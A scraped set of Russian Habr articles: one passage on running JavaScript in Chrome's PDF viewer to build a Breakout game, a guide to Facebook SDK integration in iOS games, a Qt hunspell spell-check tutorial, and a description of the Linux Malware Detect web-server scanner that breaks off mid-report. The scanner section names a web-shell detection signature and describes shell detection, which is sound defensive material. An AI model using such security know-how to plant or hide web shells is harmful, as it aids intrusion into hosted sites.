Как и многие из вас, я всегда считал PDF довольно безопасным форматом: автор создаёт текст и графику, после чего он открывается в программе просмотра PDF, больше ничего не делая. Несколько лет назад я мимоходом слышал об уязвимостях Adobe Reader, но особо не задумывался о том, как они могут возникать.
*Изначально* Adobe сделала PDF именно для этого, но мы уже выяснили, что сегодня это совсем не так. В [1310-страничной спецификации PDF](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf) (на самом деле довольно понятном и интересном чтиве) описывается безумное количество возможностей, в том числе:
* [Встроенный Flash](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=1123)
* Аннотации в виде [звука](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=783) и [видео](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=784)
* Аннотации в виде [3D-объектов](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=789) (!)
* Метаданные [Web capture](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=946)
* [Произвольные математические функции](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=166) (в том числе и [Тьюринг-неполное подмножество PostScript](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=176))
* Формы с поддержкой Rich text, использующие [подмножество XHTML и CSS](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=680)
* Вложения в виде [файлов](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=638) и [коллекций файлов](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=588)
но самое интересное для нас…
* Это [скрипты JavaScript](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=709) на основе [стандартной библиотеки, совершенно отличающейся от библиотеки браузера](https://wwwimages2.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf)
Разумеется, большинство программ для чтения PDF (кроме Adobe Reader) не реализует основную часть этих возможностей. *Однако Chrome реализует JavaScript!* Если вы откроете подобный файл PDF в Chrome, то он запустит скрипт. Я выяснил, повторив действия из [этого поста о создании PDF с JS](https://mariomalwareanalysis.blogspot.com/2012/02/how-to-embed-javascript-into-pdf.html).
Однако здесь есть хитрость. Chrome реализует только *крошечное* подмножество огромной поверхности Acrobat JavaScript API. Реализация API в PDFium браузера Chrome в основном состоит из [подобных заглушек](https://pdfium.googlesource.com/pdfium/+/chromium/2557/fpdfsdk/src/javascript/Document.cpp#258):
```
FX_BOOL Document::addAnnot(IJS_Context* cc,
const CJS_Parameters& params,
CJS_Value& vRet,
CFX_WideString& sError) {
// Not supported.
return TRUE;
}
FX_BOOL Document::addField(IJS_Context* cc,
const CJS_Parameters& params,
CJS_Value& vRet,
CFX_WideString& sError) {
// Not supported.
return TRUE;
}
FX_BOOL Document::exportAsText(IJS_Context* cc,
const CJS_Parameters& params,
CJS_Value& vRet,
CFX_WideString& sError) {
// Unsafe, not supported.
return TRUE;
}
```
И я понимаю опасения разработчиков — этот Adobe JavaScript API имеет [совершенно огромную площадь поверхности](https://wwwimages2.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=3). Предположительно, скрипты могут выполнять такие действия, как [соединение с произвольными базами данных](https://wwwimages2.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=36), [распознавание подключенных мониторов](https://wwwimages2.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=537), [импорт внешних ресурсов](https://wwwimages2.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf#page=317) и [манипулирование 3D-объектами](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_3d_api_reference.pdf).
Поэтому в Chrome получилась такая странная ситуация: мы можем выполнять произвольные вычисления, однако имеем эту странную, ограниченную поверхность API, при которой ввод-вывод и передачу данных между программой и пользователем реализовывать очень неудобно.
Вероятно, можно встроить в PDF компилятор C, скомпилировав его в JS, например, с помощью [Emscripten](https://kripken.github.io/emscripten-site/), но тогда компилятор C должен будет получать ввод из формы простого текста (plain text), а вывод выполнять снова в поле формы.
На самом деле, я заинтересовался PDF пару недель назад из-за [PostScript](https://en.wikipedia.org/wiki/PostScript); я читал посты Дона Хопкинса о [NeWS](https://en.wikipedia.org/wiki/NeWS) — напоминающей AJAX системе, но реализованной в 80-х на PostScript.
> Забавно, что PDF стал реакцией на PostScript, который был слишком выразительным (являясь полнофункциональным языком программирования), слишком сложным в анализе и восприятии. Наверно, PDF по-прежнему остаётся в этом плане шагом вперёд, но всё равно смешно, что он разросся всеми этими возможностями.
>
>
>
> Ещё один любопытный момент: как любой долгоживущий цифровой формат (лично я испытываю нежные чувства к файловой системе FAT), PDF сам по себе является своего рода историческим документом. Мы можем отследить, как поколения инженеров добавляли нужные им в своё время функции, пытаясь при этом не поломать уже существующие.
Я не совсем понимаю, зачем разработчики Chrome вообще заморачивались поддержкой JS. Они взяли [код программы чтения PDF из Foxit](https://plus.google.com/+FrancoisBeaufort/posts/9wwSiWDDKKP); возможно, у Foxit был какой-то клиент, использовавший валидацию форм через JavaScript?
Кроме того, Chrome использует тот же рантайм, что и в браузере, хоть и не раскрывает браузерных API. Насколько я понимаю, это значит, что можно использовать такие возможности ES6, как стрелочные функции и прокси.
### Breakout
Так что же мы можем сделать с предоставляемой нам Chrome поверхностью API?
Кстати, должен извиниться за неидеальное распознавание коллизий и непостоянную скорость игры. БОльшую часть игры я содрал с [туториала](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_Breakout_game_pure_JavaScript).
Первые доступные пользователю точки ввода-вывода, которые я смог найти в реализации PDF API браузера Chrome, находились в [Field.cpp](https://pdfium.googlesource.com/pdfium/+/chromium/2524/fpdfsdk/src/javascript/Field.cpp).
Мы не можем [менять цвет заливки](https://pdfium.googlesource.com/pdfium/+/chromium/2524/fpdfsdk/src/javascript/Field.cpp#1631) текстового поля во время выполнения, зато можем [менять прямоугольник его границ](https://pdfium.googlesource.com/pdfium/+/chromium/2524/fpdfsdk/src/javascript/Field.cpp#2356) и [задавать стиль границ](https://pdfium.googlesource.com/pdfium/+/chromium/2524/fpdfsdk/src/javascript/Field.cpp#479). Мы не можем [считывать точное положение мыши](https://pdfium.googlesource.com/pdfium/+/chromium/2524/fpdfsdk/src/javascript/Document.cpp#1107), однако можем при создании PDF привязать к полям скрипты mouse-enter и mouse-leave. Также во время выполнения нельзя добавлять поля: придётся ограничиться тем, что мы поместили в PDF в момент создания. Любопытно, почему разработчики выбрали именно эти методы? Это похоже на какой-то стереотип о программировании на олдскульном FORTRAN: необходимо объявлять все переменные заранее, чтобы компилятор мог статически выделить под них память.
Итак, файл PDF генерируется [скриптом](https://github.com/osnr/horrifying-pdf-experiments/blob/master/generate_breakout.py), заранее создающим набор текстовых полей, в том числе и игровых элементов:
* Ракетку
* Кирпичи
* Мяч
* Очки
* Жизни
Но для правильной работы игры мы также внесём некоторые хаки.
Во-первых, мы создаём тонкую длинную «полосу» текстового поля для каждого столбца нижней половины экрана. Полосы получают событие mouse-enter, когда игрок перемещает мышь по оси X, поэтому ракетка может перемещаться при движении мыши.
Во-вторых, мы создаём поле под названием «whole», закрывающее всю верхнюю половину экрана. Chrome не ожидает, что отображение PDF будет меняться, поэтому если перемещать поля в JS, то получатся довольно сильные артефакты. Это поле «whole» решает данную проблему — мы включаем/отключаем его во время рендеринга кадра. Этот трюк заставляет Chrome подчищать артефакты.
Кроме того, при перемещении поля, похоже, сбрасывается его [поток внешнего отображения](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=612). Выбранный вами красивый внешний вид из произвольной PDF-графики «слетает» и заменяется простым залитым прямоугольником с границей. Поэтому в моей игре используется [упрощённый словарь характеристик внешнего вида](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=642). В самом крайнем случае указанный там цвет заливки при перемещении виджета остаётся неизменным.
### Полезные ресурсы
* [Справочное руководство по PDF, шестая редакция](https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf)
* [Справочное руководство JavaScript for Acrobat API](https://wwwimages2.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/js_api_reference.pdf)
* Туториалы Брендана Загерски [Minimal PDF](https://brendanzagaeski.appspot.com/0004.html) и [Hand-coded PDF](https://brendanzagaeski.appspot.com/0005.html)
* В документе [PDF Inside and Out](https://blogs.adobe.com/pdfdevjunkie/files/pdfdevjunkie/PDF_Inside_and_Out.pdf) есть отличные примеры.
* Библиотека Python [pdfrw](https://github.com/pmaupin/pdfrw) обладает идеальным для такой работы уровнем абстракции. Многие библиотеки слишком высокоуровневые и раскрывают только графические операторы. Самостоятельная генерация данных PDF возможна, но довольно неудобна, потому что нужно правильно реализовать форматы структур данных и байтовые сдвиги.
---
#### На правах рекламы
Закажите сервер и сразу начинайте работать! Создание [VDS любой конфигурации](https://vdsina.ru/cloud-servers?partner=habr223) в течение минуты, в том числе серверов для хранения большого объёма данных до 4000 ГБ. Эпичненько :)
[](https://vdsina.ru/cloud-servers?partner=habr223) | https://habr.com/ru/post/536200/ | null | ru | null |
# Интеграция Facebook SDK (iOS) в мобильные free-to-play игры
Мобильный free-to-play уже практически не обходится без использования социальных сетей в играх. Социальные сети обеспечивают то, что называют [виральностью](http://en.wikipedia.org/wiki/Viral_marketing) (от англ. viral – вирусный, т.е. способный распространяться как вирус, от одного человека к другому), что позволяет привлекать новых игроков с минимальными затратами. В данной статье мы поделимся опытом интеграции Facebook в игры Alawar на платформе iOS.
В типичной мобильной free-to-play-игре интеграция Facebook предоставляет следующие возможности:
1. Возможность авторизации через аккаунт пользователя в Facebook. Такая авторизация хороша тем, что мы формируем уникальный идентификатор пользователя игры с минимальными усилиями с его стороны. Игроку нет необходимости придумывать логин, вводить адрес электронной почты и т.д. Ведь речь идет о мобильном приложении, где постоянно вводить текстовые данные несколько утомительно. Достаточно однажды нажать на кнопку с хорошо узнаваемым логотипом “f”. Есть преимущества и для разработчиков – прогресс игрока может быть синхронизован между различными устройствами на разных платформах, главное чтобы на этих платформах был Facebook.
2. Возможность отправлять запросы (app requests) друзьям. Запросы – это своего рода сообщения, которые появляются на Facebook-странице игрока (и в приложении Facebook) и содержат относящуюся к игре информацию. К типичным запросам можно отнести приглашения друзей в игру, просьбы вида «отправь/подари мне что-либо» или «помоги пройти уровень». В конечном счёте, запрос нужен только для того, чтобы человек нажал на него и перешел в игру (или на страницу игры в App store). Использование запросов – это мощный механизм для бесплатного привлечения новых игроков и возвращения старых игроков в игру.
3. Возможность отправлять посты в таймлайн (timeline). Такой постинг позволяет сообщать об игре всем, кто читает таймлайн. Игры обычно помещают туда информацию о достижениях игрока, что добавляет соревновательную составляющую.
4. Возможность получать информацию об игроке из его аккаунта в Facebook. Чаще всего в такую информацию входит имя игрока, его аватарка и, возможно, аватарки его друзей. Пример использования аватарок в реально существующей [free-to-play-игре](https://www.facebook.com/TheTreasuresOfMontezumaBlitzCommunity) под спойлером. **Игра с аватарками**
Для того чтобы упростить интеграцию Facebook, мы создали демо-приложение, реализующее практически все необходимое с клиентской стороны.
#### Демо-приложение
Демо-приложение написано на C++ (как и большинство наших free-to-play-игр) со вставками на Objective-C и представляет собой простейшее приложение на движке [Cocos2d-x](http://www.cocos2d-x.org/) (скачать можно [здесь](https://github.com/alawar/FacebookSample)). По экрану перемещается прямоугольник и отражается от границ экрана при достижении этих границ.
Управление осуществляется при помощи 4 кнопок: f – авторизация, REQ – отправка запроса друзьям, POST – постинг в таймлайн и LOGOUT. После авторизации на место прямоугольника помещается аватарка пользователя, и добавляется приветственная надпись.
Для компиляции необходимо скачать и установить [Facebook SDK](https://developers.facebook.com/docs/ios/), добавить фреймворк Facebook SDK в проект в XCode. Мы использовали Facebook SDK версии 3.9.
Для запуска демо-приложения вы должны создать собственное Facebook-приложение на вашем портале разработчика, прописать его идентификатор в plist нашего демо-приложения, а также проделать ряд других несложных операций. Подробнее про это можно прочитать [здесь](https://developers.facebook.com/docs/ios/getting-started/).
#### Технические детали реализации
##### Права доступа
Первое, с чем сталкиваешься при интеграции Facebook на клиенте – это создание сессии с запросом прав доступа (permissions), [разные варианты](https://developers.facebook.com/docs/reference/login/#permissions) которых предлагает Facebook. Здесь важно сдержать порыв и не запросить права доступа на все сразу. Хорошим тоном считается запрос прав доступа в момент, когда они действительно необходимы. При создании сессии запросим только базовые права.
```
+ (NSArray*) getBasicPermissions
{
NSArray* permissions = [[NSArray alloc] initWithObjects: @"user_birthday", nil];
return permissions;
}
```
В этом случае при авторизации будет показан диалог следующего содержания.
Также следует обратить внимание на то, что нативные для iOS диалоги будут показываться только при условии предварительной авторизации в Facebook на самом устройстве в настройках.
В противном случае iOS попытается использовать приложение Facebook (если оно было установлено из App Store) или откроет Facebook в браузере.
Когда нам потребуются права для опубликования чего-либо в таймлайн или при запросе друзьям, запросим права конкретно на это.
```
+ (void) requestPublishPermissions
{
if (hasPublishPermissions) return;
NSArray *permissions = [[NSArray alloc] initWithObjects:
@"publish_actions", @"publish_stream", nil];
[[FBSession activeSession] requestNewPublishPermissions:permissions
defaultAudience:FBSessionDefaultAudienceFriends
completionHandler:^(FBSession *session, NSError *error)
{
hasPublishPermissions = [[FBSession activeSession].permissions containsObject:@"publish_actions"] &&
[[FBSession activeSession].permissions containsObject:@"publish_stream"];
if (g_handler) { g_handler->OnGetPublishPermissions(hasPublishPermissions); }
}];
}
```
В этом случае будет показан следующий диалог.
Важно помнить, что игрок может отказать в правах на опубликование от своего имени, но разрешить авторизацию. Эти случаи необходимо аккуратно обрабатывать.
##### Запросы к друзьям
Реализация запросов к друзьям (app requests) достаточно подробно изложена в [документации](https://developers.facebook.com/docs/ios/send-requests-using-ios-sdk/), однако есть ряд тонкостей. При базовой реализации запросов будет показано диалоговое окно, приведенное ниже.
Код этой реализации находится под спойлером.
**Реализация**
```
+ (void) requestFriend
{
// more details here
// https://developers.facebook.com/docs/ios/send-requests-using-ios-sdk/
if (!friendsCache)
{
friendsCache = [[FBFrictionlessRecipientCache alloc] init];
}
[friendsCache prefetchAndCacheForSession:nil];
[FBWebDialogs presentRequestsDialogModallyWithSession:nil
message:@"Help me, friend!"
title:@"Help me!"
parameters:nil
handler:^(FBWebDialogResult result, NSURL *resultURL, NSError *error)
{
if (error)
{
NSLog(@"Error sending request");
}
else
{
if (result == FBWebDialogResultDialogNotCompleted)
{
NSLog(@"User canceled request");
}
else
{
NSDictionary *urlParams = [FacebookController parseURLParams:[resultURL query]];
if (![urlParams valueForKey:@"request"])
{
NSLog(@"User canceled request");
}
else
{
NSLog([NSString stringWithFormat: @"Request Sent: %@", [urlParams valueForKey:@"request"]]);
}
}
}
}
friendCache:friendsCache];
}
```
Поведением окна запросов можно управлять при помощи параметров, передаваемых после *parameters:* при вызове диалога. Например, следующий набор параметров позволяет отправить запрос одному известному заранее другу.
```
NSString *friendId=@"100006530868327";
NSMutableDictionary* params = [[NSMutableDictionary alloc] init];
params[@"to"] = friendId;
```
Facebook SDK в этом случае покажет видоизменённое окно App requests и даже предложит не показывать окно при следующих запросах этому другу.
##### Постинг в таймлайн
Facebook позволяет размещать в таймлайн так называемые истории (stories). Для того чтобы сформировать историю необходимо на странице вашего приложения на [портале Facebook-разработчика](https://developers.facebook.com/apps) выбрать в меню слева «Open Graph». Вы увидите 3 вкладки: Stories (Истории), Object Types (Типы объектов) и Action Types (Типы действий). Тип объекта обобщает некоторую группу объектов, которые могут встретиться пользователям вашей игры, например, бейджи. Теперь нужны действия, которые можно применить к объекту «Бейдж», например, действие «Найти». Тип действия и тип объекта могут быть объединены в историю «Find a Badge». Facebook имеет широкие возможности по настройке историй. Подробнее об этом можно узнать [здесь](https://developers.facebook.com/docs/opengraph/creating-custom-stories/).
Чтобы получить код для публикации созданной истории из приложения, необходимо кликнуть на надпись «Get Code» справа от названия истории. Выбираем требуемую платформу (iOS SDK в нашем случае) и вкладку «Code for Object». Система сгенерирует код подобный этому:
```
NSMutableDictionary \*object =
[FBGraphObject openGraphObjectForPostWithType:@"aw\_test:badge"
title:@"Sample Badge"
image:@"https://fbstatic-a.akamaihd.net/images/devsite/attachment\_blank.png"
url:@"http://samples.ogp.me/473380876115865"
description:@""];;
[FBRequestConnection startForPostWithGraphPath:@"me/objects/aw\_test:badge"
graphObject:object
completionHandler:^(FBRequestConnection \*connection,
id result,
NSError \*error) {
// handle the result
}];
```
Во вкладке «Code for Action» можно получить код для действия. Для формирования истории в таймлайн сначала необходимо выполнить создание объекта затем создание действия с этим объектом.
Как ни странно, этот код не работает. Если включить его в проект без модификаций, то будет крэш по необнаруженному селектору в одном из классов. Для того чтобы это исправить, необходимо добавить пару строк в параметры создаваемого объекта Open Graph.
```
object[@"create_object"] = @"true";
object[@"fbsdk:create_object"] = @"true";
```
Эта «магия» исправляет крэш, однако постинг в таймлайн по-прежнему не работает. Хорошим признаком того, что все заработало, является возвращенный Facebook идентификатор операции в коллбэке. Идентификатор представляет собой набор цифр (например, 586146891470767). В ответ на код, полученный с портала, приходит строка «true». Это можно исправить, еще немного модифицировав код. В частности, предлагаемый кодогенератором вызов startForPostWithGraphPath необходимо заменить на startForPostOpenGraphObject при создании объекта.
Полный код для постинга в таймлайн можно увидеть под спойлером.
**Реализация**
```
+ (void) createOpenGraphObjectWithType:(NSString *) type
title:(NSString *) title
url:(NSString *) url
image:(NSString *) image
handler: (OpenGraphObjectCreationHandler) handler
{
NSMutableDictionary \*object =
[FBGraphObject openGraphObjectForPostWithType:type
title:title
image:image
url:url
description:@""];
object[@"create\_object"] = @"true";
object[@"fbsdk:create\_object"] = @"true";
[FBRequestConnection startForPostOpenGraphObject:object
completionHandler:^(FBRequestConnection \*connection, id result, NSError \*error)
{
if (!error && result != nil)
{
NSLog([NSString stringWithFormat:@"Posting object '%@' (id=%@) is created!",
title, [result objectForKey:@"id"]]);
handler([result objectForKey:@"id"]);
}
else
{
NSLog([NSString stringWithFormat:@"Posting object creation error: %@", error]);
}
}];
}
+ (void) postStory
{
NSString\* badge\_title = @"Blue Badge";
NSString\* badge\_url = @"http://demo.tom3.html5.services.alawar.com/images/tester/blue\_badge.htm";
NSString\* badge\_image = @"http://demo.tom3.html5.services.alawar.com/images/tester/blue\_badge.png";
int rnd = arc4random() % 2;
if (rnd == 0)
{
badge\_title = @"Red Badge";
badge\_url = @"http://demo.tom3.html5.services.alawar.com/images/tester/red\_badge.htm";
badge\_image = @"http://demo.tom3.html5.services.alawar.com/images/tester/red\_badge.png";
}
[FacebookController createOpenGraphObjectWithType:@"aw\_test:badge"
title:badge\_title
url:badge\_url
image:badge\_image
handler:^(NSString \*objectId)
{
// action
NSMutableDictionary \*action = [FBGraphObject graphObject];
action[@"badge"] = objectId;
action[@"fb:explicitly\_shared"] = @"1";
[FBRequestConnection startForPostWithGraphPath:@"me/aw\_test:find"
graphObject:action
completionHandler:^(FBRequestConnection \*connection,
id result,
NSError \*error)
{
if (!error && result != nil)
{
NSLog([NSString stringWithFormat:@"Posted (id=%@)!", [result objectForKey:@"id"]]);
}
else
{
NSLog([NSString stringWithFormat:@"Posting error: %@", error]);
}
}];
}];
}
```
Внимательный читатель обратит внимание, что при выполнении кода для действия был добавлен дополнительный параметр.
```
action[@"fb:explicitly_shared"] = @"1";
```
Если этот параметр не выставлен, то созданная история попадет в Recent Activities пользователя, а не в таймлайн. Если все сделано правильно, то в таймлайн пользователя можно будет наблюдать нечто, похожее на рисунок ниже.
Последний момент, с которым необходимо разобраться: где и как хранятся описания объектов. Описание объекта хранится как специальным образом размеченный html-документ на каком-либо открытом сервере. Изображения также размещаются на открытых серверах, откуда их Facebook и загружает.
#### Вместо заключения
Если вы решились на интеграцию в игру Facebook помните, что это не минутное дело. Обязательно продумайте, как игра будет взаимодействовать с пользователем через Facebook. В противном случае вы получите вместо полезного инструмента для привлечения игроков очередное приложение досаждающие игрокам. Жалобы от игроков на спам приведут к тому, что Facebook забанит приложение, чего, разумеется, никому не хочется.
Как показывает практика, взять Facebook с наскока получается далеко не у всех. Мы надеемся, что приведенный нами опыт по интеграции этой социальной сети будет вам полезен. | https://habr.com/ru/post/214043/ | null | ru | null |
# Проверка орфографии в приложениях Qt
В данной статье описано как добавить к вашему приложению на **Qt** проверку орфографии с подсветкой орфографически некорректных слов и возможность замены на более подходящие варианты. Для этого используется словарь **hunspell**.
Для подсветки орфографически некорректных слов используется модифицированный класс **QSyntaxHighlighter**, для отображения и ввода текста используется модифицированный класс **QTextEdit**.
Первым делом, поскольку мы работаем с библиотекой **hunspell**, необходимо её подключить. Для этого в .pro файл добавляем строку: **LIBS += -lhunspell**.
Далее создадим свои собственные классы унаследованные от **QSyntaxHighlighter** и **QTextEdit**.
Заголовочный файл classes.h:
```
#ifndef CLASSES_H
#define CLASSES_H
#include
#include
class SpellingHighlighter : public QSyntaxHighlighter // Класс для подсвечивания текста
{
Q\_OBJECT
public:
SpellingHighlighter(QTextEdit \*parent) :QSyntaxHighlighter(parent) {}
protected:
virtual void highlightBlock(const QString &text) override;
};
class BodyTextEdit : public QTextEdit // Класс для ввода и отображения текста
{
Q\_OBJECT
public:
BodyTextEdit(QWidget\* parent = 0);
public slots:
void openCustomMenu(QPoint);
void correctWord(QAction \* act);
protected:
SpellingHighlighter \* m\_highLighter;
};
#endif // CLASSES\_H
```
Мы будем подсвечивать слова, которые не содержаться в словаре, а при вызове контекстного меню предлагать возможные варианты замены. Данная функция сделана на основе [статьи](https://intmaker.com/spellchecking-desktop-application-in-c/), найденной на просторах интернета.
```
// correct - флаг корректно ли слово, getSuggests - получать ли варианты корректных слов
QStringList suggestCorrections(const QString &word, bool &correct, bool getSuggests = false)
{
static Hunspell * m_hunSpell = new Hunspell("/usr/share/hunspell/ru_RU.aff", "/usr/share/hunspell/ru_RU.dic");//данные пути корректны для debian
static QString encoderStr = QString::fromLatin1( m_hunSpell->get_dic_encoding());// Могут быть различные кодеки, например KOI8-R
static QTextCodec * m_codec = QTextCodec::codecForName(encoderStr.toLatin1().constData());
correct = m_hunSpell->spell(m_codec->fromUnicode(word).constData()) != 0; // проверяем есть ли данное слово в словаре
if (getSuggests == false)
return QStringList();
QStringList suggestions;
char **suggestWordList = NULL;
try {
// Encode from Unicode to the encoding used by current dictionary
int count = m_hunSpell->suggest(&suggestWordList, m_codec->fromUnicode(word).constData());// получаем список возможных вариантов
QString lowerWord = word.toLower();
for (int i = 0; i < count; ++i) {
QString suggestion = m_codec->toUnicode(suggestWordList[i]);
suggestions << suggestion;
free(suggestWordList[i]);
}
}
catch(...)
{
qDebug() <<"Error keyword";
}
return suggestions;
}
```
Остается только определить классы и грамотно использовать данную функцию:
```
#include
#include
#include
#include
#include
#include
#include "hunspell/hunspell.hxx" // from package libhunspell-dev
#include
#include "classes.h"
//Описанная чуть выше функция
QStringList suggestCorrections(const QString &word, bool &correct, bool getSuggests = false)
{
static Hunspell \* m\_hunSpell = new Hunspell("/usr/share/hunspell/ru\_RU.aff", "/usr/share/hunspell/ru\_RU.dic");
static QString encoderStr = QString::fromLatin1( m\_hunSpell->get\_dic\_encoding());
static QTextCodec \* m\_codec = QTextCodec::codecForName(encoderStr.toLatin1().constData());
correct = m\_hunSpell->spell(m\_codec->fromUnicode(word).constData()) != 0;
if (getSuggests == false)
return QStringList();
QStringList suggestions;
char \*\*suggestWordList = NULL;
try {
// Encode from Unicode to the encoding used by current dictionary
int count = m\_hunSpell->suggest(&suggestWordList, m\_codec->fromUnicode(word).constData());
QString lowerWord = word.toLower();
for (int i = 0; i < count; ++i) {
QString suggestion = m\_codec->toUnicode(suggestWordList[i]);
suggestions << suggestion;
free(suggestWordList[i]);
}
}
catch(...)
{
qDebug() <<"Error keyword";
}
return suggestions;
}
// Переопределяем функцию подсветки текста
void SpellingHighlighter::highlightBlock(const QString &text)
{
QStringList list = text.split(QRegExp("\\s+"), QString::KeepEmptyParts);//Регулярное выражения по поиску слов
QTextCharFormat spellingFormat;//Определяем как именно мы будем подсвечивать слова
spellingFormat.setUnderlineStyle(QTextCharFormat::SpellCheckUnderline);
spellingFormat.setUnderlineColor(Qt::red);
int count\_word = list.size();
int pointer = 0;
for (int i= 0; i< count\_word; i++)
{
bool correct = false;
QString sect = text.section(QRegExp("\\s+"), i, i, QString::SectionIncludeLeadingSep);
sect.remove(QRegExp("[,!?&\*|]"));// Удаляем лишние символы
suggestCorrections(sect, correct);//Проверяем корректно ли слово
if (!correct)
{
setFormat(pointer, sect.length(),spellingFormat);
}
pointer += sect.length();
}
};
BodyTextEdit::BodyTextEdit(QWidget\* parent )
:
QTextEdit(parent)
{
this->setContextMenuPolicy(Qt::CustomContextMenu);
m\_highLighter = new SpellingHighlighter(this);
connect(this, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(openCustomMenu(QPoint)));
}
//Создание контекстного меню с предложенными вариантами замены
void BodyTextEdit::openCustomMenu(QPoint pos)
{
QMenu\* popupmenu = this->createStandardContextMenu();
QTextCursor cursor = this->textCursor();
cursor.select(QTextCursor::WordUnderCursor);
this->setTextCursor(cursor);
if (this->textCursor().hasSelection())
{
QString text = this->textCursor().selectedText();
bool correct = false;
QStringList suggest = suggestCorrections(text, correct, true);
auto firstAction = popupmenu->actions().first();
if (!correct)
{
QList addedActions;
for (auto word : suggest)
{
QAction \* act = new QAction(word, popupmenu);
act->setData(word);
addedActions.append(act);
}
popupmenu->insertActions(firstAction, addedActions);
connect(popupmenu, SIGNAL(triggered(QAction\*)), this, SLOT(correctWord(QAction\*)));
}
}
popupmenu->exec(this->mapToGlobal(pos));
delete popupmenu;
}
//Замена слова на выбранное в меню
void BodyTextEdit::correctWord(QAction \*act)
{
if (act->data().isNull())
return;
QString word = act->data().toString();
QTextCursor cursor = this->textCursor();
cursor.beginEditBlock();
cursor.removeSelectedText();
cursor.insertText(word);
cursor.endEditBlock();
}
```
Заключение:
-----------
Таким образом за примерно 150 строк кода вы получите функционал по проверке орфографии, который можно будет использовать в ваших приложениях на Qt с минимальным количеством зависимостей. | https://habr.com/ru/post/544650/ | null | ru | null |
# Linux Malware Detect — антивирус для веб-серверов
Интернет уже не тот, что прежде — кругом враги. Тема обнаружения непосредственного заражения сайта и поиска вредоносных/зараженных скриптов на взломанном сайте рассмотрена слабо, попробуем это исправить.
Итак, представляем вашему вниманию Linux Malware Detect.
Linux Malware Detect (LMD) — это сканер для Linux, предназначенный для поиска веб-шеллов, спам-ботов, троянов, злонамеренных скриптов и прочих типичных угроз характерных для веб-пространств и особенно актуален для виртуальных шаред-хостинг платформ. Главное отличие от прочих Linux-антивирусов — его веб направленность, сканирование файлов веб-сайтов, ведь обычные антивирусы ориентируются на более глобальные угрозы уровня системы.
#### Что умеет
* Поиск угроз по базе MD5 и распознавание типа угрозы (например, php.cmdshell.nan.296.HEX) по HEX-базе.
* Статистический анализ файлов на наличие обфусцированных зловредов и инъекций.
* Обнаружение установленного в системе ClamAV для использования его в качестве сканера.
* Ручное и автоматическое (по крону) обновление сигнатур.
* Ручное и автоматическое обновление версии самого скрипта.
* Возможность сканирования недавно добавленных/измененных файлов (например за последние 2 дня).
* Опция загрузки обнаруженных потенциальных угроз на официальный сайт для анализа.
* Система отчетов.
* Очистка файлов от вредоносных инъекций.
* Крон-заготовки для запуска регулярного сканирования юзерспейсов или других директорий.
* Наборы исключений по расширениям, сигнатурам и путям.
* Возможность отправки результатов сканирования на e-mail.
* Мониторинг в реальном времени созданных/модифицированных/измененных файлов при помощи inotify\_watch: мониторинг выбранных пользователей, каталогов или файлов.
* … и прочее.
#### Как это работает
Сканирование происходит с использованием собственного скрипта на базе grep, а если в системе установлен ClamAV — то при помощи clamscan. Аналогично с сигнатурами: программа имеет свою базу сигнатур, если же в системе установлен ClamAV, то использует дополнительно и его базу.
##### Источники сигнатур:
1. Срез данных сети. Разработчик LMD является администратором хостинга на 35.000 сайтов, данные ежедневно анализируется и обрабатываются. Основной источник сигнатур.
2. Данные сообщества собранные с антималвар-сайтов.
3. ClamAV, взаимообмен сигнатурами.
4. Данные, присылаемые пользователями.
Сигнатуры обновляются практически ежедневно, [RSS-лента](http://www.rfxn.com/api/lmd.php) с обновлениями сигнатур присутствует на официальном сайте.
Результаты сканирования сохраняются в файл, а также могут высылаться на указанный в конфиге e-mail. Интеграции с популярными панелями управления, увы, нет, если же вы хостер — сообщения клиентам придется рассылать вручную.
Интеграция с популярными панелями ISPmanager и Cpanel была бы неплохим вкладом в сообщество (это в случае если кто желает).
#### Что это дает
* Позволяет следить за безопасностью ваших сайтов на VDS и DS.
* Хостерам — ежедневное сканирование и рассылка предупреждений клиентам позволит повысить лояльность клиентов, которые, зачастую, очень далеки от знания кодинга и основ безопасности.
* Если ваш сайт или сайт клиента будет взломан — вы узнаете об этом либо сразу (если включен мониторинг в реальном времени), либо в течении периода, выбранного для cron-сканирования. Ведь «предупрежден — значит вооружен»: зараженные сайты чаще всего становятся источниками рассылки спама со всеми вытекающими (например, блеклистинг IP в DNSBL).
#### Типичные примеры обнаружений
Отчет о сканировании выглядит следующим образом:
```
malware detect scan report for servername:
SCAN ID: 090913-1000.17637
TIME: Sep 9 16:04:40 +0300
PATH: /var/www
RANGE: 2 days
TOTAL FILES: 151224
